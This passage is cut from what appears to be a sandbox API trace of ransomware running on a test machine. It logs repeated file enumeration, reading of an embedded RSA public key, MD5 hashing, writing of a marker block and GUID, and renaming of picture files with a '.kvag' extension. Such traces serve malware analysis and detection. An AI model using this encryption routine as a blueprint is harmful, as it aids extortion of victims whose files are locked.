dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.122] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb123, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.122] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.123] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xb149, lpOverlapped=0x0) returned 1 [0120.124] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.124] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.124] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.124] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.125] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.125] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.125] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.125] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.125] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.125] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.125] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.125] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.125] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.125] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.126] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb149, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.126] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.126] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.126] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.126] CloseHandle (hObject=0x61c) returned 1 [0120.127] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X4f2vPCr2a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x4f2vpcr2a.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X4f2vPCr2a.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x4f2vpcr2a.bmp.kvag")) returned 1 [0120.128] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78efa70, ftCreationTime.dwHighDateTime=0x1d4cd9c, ftLastAccessTime.dwLowDateTime=0xe89cdc50, ftLastAccessTime.dwHighDateTime=0x1d4cc6e, ftLastWriteTime.dwLowDateTime=0xe89cdc50, ftLastWriteTime.dwHighDateTime=0x1d4cc6e, nFileSizeHigh=0x0, nFileSizeLow=0xcb10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x5DOOinBD.jpg", cAlternateFileName="X5DOOI~1.JPG")) returned 1 [0120.128] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x5DOOinBD.jpg") returned=".jpg" [0120.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x5DOOinBD.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x5dooinbd.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.130] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=51984) returned 1 [0120.130] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.132] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcaea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.132] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.134] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xcb10, lpOverlapped=0x0) returned 1 [0120.134] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.134] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.135] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.135] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.135] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.135] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.135] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.135] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.135] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.135] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.136] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.136] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.136] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.136] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.136] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcb10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.136] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.136] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.136] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.137] CloseHandle (hObject=0x61c) returned 1 [0120.138] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x5DOOinBD.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x5dooinbd.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x5DOOinBD.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x5dooinbd.jpg.kvag")) returned 1 [0120.139] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b66fe50, ftCreationTime.dwHighDateTime=0x1d4d2c2, ftLastAccessTime.dwLowDateTime=0x2a2e54c0, ftLastAccessTime.dwHighDateTime=0x1d4c597, ftLastWriteTime.dwLowDateTime=0x2a2e54c0, ftLastWriteTime.dwHighDateTime=0x1d4c597, nFileSizeHigh=0x0, nFileSizeLow=0x79dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xT5AxUm6MKKi2KE.bmp", cAlternateFileName="XT5AXU~1.BMP")) returned 1 [0120.139] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\xT5AxUm6MKKi2KE.bmp") returned=".bmp" [0120.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\xT5AxUm6MKKi2KE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xt5axum6mkki2ke.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.139] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=31196) returned 1 [0120.139] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.141] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x79b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.141] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.143] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x79dc, lpOverlapped=0x0) returned 1 [0120.143] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.143] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.143] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.144] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.144] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.144] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.144] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.144] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.144] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.144] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.144] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.145] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.145] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.145] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.145] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x79dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.145] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.145] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.145] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.145] CloseHandle (hObject=0x61c) returned 1 [0120.146] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\xT5AxUm6MKKi2KE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xt5axum6mkki2ke.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\xT5AxUm6MKKi2KE.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xt5axum6mkki2ke.bmp.kvag")) returned 1 [0120.147] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x347fdb30, ftCreationTime.dwHighDateTime=0x1d4c5f9, ftLastAccessTime.dwLowDateTime=0x9efce510, ftLastAccessTime.dwHighDateTime=0x1d4d554, ftLastWriteTime.dwLowDateTime=0x9efce510, ftLastWriteTime.dwHighDateTime=0x1d4d554, nFileSizeHigh=0x0, nFileSizeLow=0xfc9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yjdn_ho1.jpg", cAlternateFileName="")) returned 1 [0120.148] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Yjdn_ho1.jpg") returned=".jpg" [0120.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Yjdn_ho1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yjdn_ho1.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.148] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=64667) returned 1 [0120.148] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.150] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfc75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.150] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.151] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xfc9b, lpOverlapped=0x0) returned 1 [0120.152] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.152] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.152] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.152] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.153] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.153] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.153] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.153] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.153] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.153] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.153] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.153] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.154] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.154] 